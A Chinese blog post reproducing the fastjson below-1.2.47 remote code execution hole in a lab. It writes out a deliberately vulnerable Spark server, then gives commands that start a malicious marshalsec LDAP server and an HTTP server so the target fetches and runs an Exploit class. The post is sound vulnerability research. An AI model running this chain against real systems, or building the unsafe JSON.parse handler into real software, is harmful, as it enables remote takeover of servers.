fastjson<1.2.47 RCE 漏洞复现
这两天爆出了 fastjson 的老洞,复现简单记录一下。
首先使用 spark 搭建一个简易的利用 fastjson 解析 json 的 http server。
package cn.hacktech.fastjsonserver;
import com.alibaba.fastjson.JSON;
import static spark.Spark.*;
public class Main {
public static void main(String[] args) {
get("/hello", (req, res) -> "spark server start success");
post("/test", (req, res) -> {
String payload = req.body();
JSON.parse(payload);
return "json payload:" + payload;
});
}
}
编译出来后,启动这个 jar,在 /test
这个 post 点即可 post json payload。
然后这里分两类:
- 如果只是想检测漏洞是否存在,可以使用 dnslog 去检测
- 利用的话,需要自己起一个恶意的 ldap 或者 rmi 服务
本机需要起一个 LDAP 服务和 http 服务
poc-->LDAP-->http
poc 会通过上面的路径去请求你的 http 服务上面的对应的 class 文件然后去解析执行这个 class
启动 LDAP 用的 marshalsec,会比较方便。
- 在本目录下启动 http server 在 80 端口
python -m http.server 80
- 启动 LDAP 服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit
后面的 Exploit 是指 Exploit.class 文件
- 运行 PoC,它会请求 LDAP 服务,或者直接把 json payload post 到
/test
java -cp fastjson-1.2.47.jar; PoC
其中代码编译的话,直接执行 javac the.java
即可,不过 PoC.java 的编译需要引入 fastjson jar 包,运行 javac -cp ./fastjson-1.2.47.jar PoC.java
具体的细节可见代码打包文件
复现遇到一些坑
这次的这个洞是有 jdk 版本要求的。
最开始我在我本机测试通过,原因是因为它请求不到 class 的时候会去本目录下进行一个查找,也就是并没有经过 http 服务器。
所以想要复现这个漏洞的话,需要 target 主机上面的 jdk 版本有严格的要求,具体见下图
所以建议复现流程是
建议复现流程
- 起一个虚拟机专门用来运行我写的那个简易的 fastjsonserver,或者你可以直接在虚拟机上面执行 PoC,关键在于 target 机器的 jdk 版本。
- 你可以在本机起 ldap/rmi 服务以及 http 服务,或者全部在虚拟机上运行也可以,但是一般真实情况下我们是在外部构造恶意的 ldap/rmi 以及 http server,所以建议这步放到虚拟机外运行。
- 根据你的网络环境修改 PoC。
- 然后 post payload 或者运行 PoC,即可看到虚拟机上弹出了计算器。
低版本的java 8u112
链接: https://pan.baidu.com/s/1Q3lGG2b4I8aTXpQbmvK2dw 提取码: 36mm
复现视频链接:复现流程.zip
本文作者:Akkuman
本文链接:https://www.cnblogs.com/Akkuman/p/11190475.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 分享 3 个 .NET 开源的文件压缩处理库,助力快速实现文件压缩解压功能!
· Ollama——大语言模型本地部署的极速利器
· DeepSeek如何颠覆传统软件测试?测试工程师会被淘汰吗?